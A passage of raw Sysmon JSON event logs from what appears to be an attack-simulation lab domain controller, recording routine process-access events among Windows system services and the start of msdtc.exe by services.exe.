C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010A9A90400}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010A9A90400}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010A9A90400}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010A9A90400}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010A9A90400}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010A9A90400}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010A9A90400}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.666\r\nProcessGuid: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nProcessId: 4120\r\nImage: C:\\Windows\\System32\\msdtc.exe\r\nFileVersion: 2001.12.10941.16384 (rs1_release.160715-1616)\r\nDescription: Microsoft Distributed Transaction Coordinator Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: MSDTC.EXE\r\nCommandLine: C:\\Windows\\System32\\msdtc.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\NETWORK SERVICE\r\nLogonGuid: {90617006-3FD3-5F2D-0000-0020E4030000}\r\nLogonId: 0x3E4\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=308F08347923DEEDE7BC03EC7D485841,SHA256=72DB45CA11FE635DF9F8273C38CBEFB8DF5362ADA0CBF6D2B1E570365DC700C0,IMPHASH=D02F3DF332409C5D3F34BA2D38FC4ED4\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.666","ProcessGuid":"{90617006-405D-5F2D-0000-0010ABAB0400}","Image":"C:\\Windows\\System32\\msdtc.exe","FileVersion":"2001.12.10941.16384 (rs1_release.160715-1616)","Description":"Microsoft Distributed Transaction Coordinator Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"MSDTC.EXE","CommandLine":"C:\\Windows\\System32\\msdtc.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\NETWORK SERVICE","LogonGuid":"{90617006-3FD3-5F2D-0000-0020E4030000}","LogonId":"0x3e4","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=308F08347923DEEDE7BC03EC7D485841,SHA256=72DB45CA11FE635DF9F8273C38CBEFB8DF5362ADA0CBF6D2B1E570365DC700C0,IMPHASH=D02F3DF332409C5D3F34BA2D38FC4ED4","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nTargetProcessId: 4120\r\nTargetImage: C:\\Windows\\System32\\msdtc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010ABAB0400}","TargetProcessId":"4120","TargetImage":"C:\\Windows\\System32\\msdtc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nTargetProcessId: 4120\r\nTargetImage: C:\\Windows\\System32\\msdtc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 